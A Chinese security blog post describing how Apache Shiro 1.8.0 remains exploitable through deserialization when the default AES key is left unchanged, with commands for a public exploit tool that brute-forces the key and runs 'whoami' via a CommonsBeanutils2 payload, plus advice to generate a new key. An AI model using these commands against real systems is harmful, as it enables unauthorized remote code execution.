Shiro高版本默认密钥的漏洞利用
在Shiro反序列化漏洞修复的过程中,如果仅进行Shiro的版本升级,而没有重新生成密钥,那么AES加密的默认密钥扔硬编码在代码里,仍然会存在反序列化风险。
01、漏洞案例
本案例引用的shiro版本已是目前最新的1.8.0。尝试访问系统进行登录,抓包获取参数特征,包含xxx_rememberMe=deleteMe字段。
注意:在Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为 AES-GCM,Shiro高版本下的漏洞利用,就需要考虑加密模式变化的情况。另外,这里cookie传递的参数是自定义的,而不是常见的rememberMe,这也是需要注意的地方。
02、漏洞利用
为了减少手工构造生成反序列化数据的繁琐,这里,我们使用一个Shiro反序列化利用工具,python编写,而且作者增加了AES-GCM加密方式的漏洞利用支持,可以很方便地进行修改和参数构建,
Github项目地址:
https://github.com/Ares-X/shiro-exploit.git
首先,我们需要修改python脚本参数,将rememberMe 替换为 xxx_remeberme,使参数能够正常传递。
利用脚本来爆破Shiro key:
python shiro-exploit.py check -u http://10.xxx.xxx.72/shiro-cas.shtml
成功获取到了Shiro key。
发送回显Payload,获取命令执行结果。
python shiro-exploit.py echo -g CommonsBeanutils2 -v 2 -k 3AvVhmFLUs0KTA3Kprsdag== -c whoami -u http://10.xxx.xxx.72/shiro-cas.shtml
修改python脚本设置代理,在requests使用代理proxies,增加proxies={'http': 'http://' + '127.0.0.1:8888'}。
这样就可以将流量引入BurpSuite,抓取HTTP数据包,手动利用查看回显。
以上便是Shiro高版本下默认密钥的漏洞利用过程,So,修复Shiro默认密钥漏洞,除了升级shiro至最新版本,一定要注意生成新的密钥替换。
记录个有意思的事情,之前有个内部系统确认过Shiro版本和密钥都有更换,但后来还是被检测到存在漏洞,一度有点怀疑人生。找开发一起排查了一下,原来有两台服务器负载,其中一台是修复了,还有一台旧服务器被遗忘了。我复测的时候是修复的状态,别人一扫描,漏洞还存在,直接泪崩。
相关文章
- 六年之后:回到底层编程
- Docker 禁止美国“实体清单”主体使用,Docker 开源项目应不受影响
- 这7个常用Git命令或概念你都知道吗?
- 什么是Docker?看这一篇干货文章就够了!
- 妙啊,阻塞到底是个啥?黄袍加身,亦能谈古说今
- 面试官提问:说说你对消息队列的理解
- 评估2020年排名前8的Python IDE
- 用C语言从头开始实现一个神经网络
- 用神经网络给照片补光,谷歌这项研究却实现了「鬼片」效果
- 还在纠结秒杀?看看 MQ 如何搞定
- 配置跨域后,框架帮我们做了什么?
- 抛弃VS Code,转向终端,我“移情别恋”的理由是什么?
- 在 Go 语言中管理 Concurrency 的三种方式
- 提高GIT中代码质量的七点优秀实践
- 构建Kubernetes集群应该有几个?优缺点是什么?
- 微软收购TikTok或面临技术难题:特朗普期限太紧
- 2020年8月编程语言排行榜:C语言第一无悬念,SQL进入前十靠运气?
- DevOps二三事:用持续集成构建自动模型训练系统的理论和实践指南
- Go语言生成二维码是如此简单
- HTTP/3协议的安全优势与挑战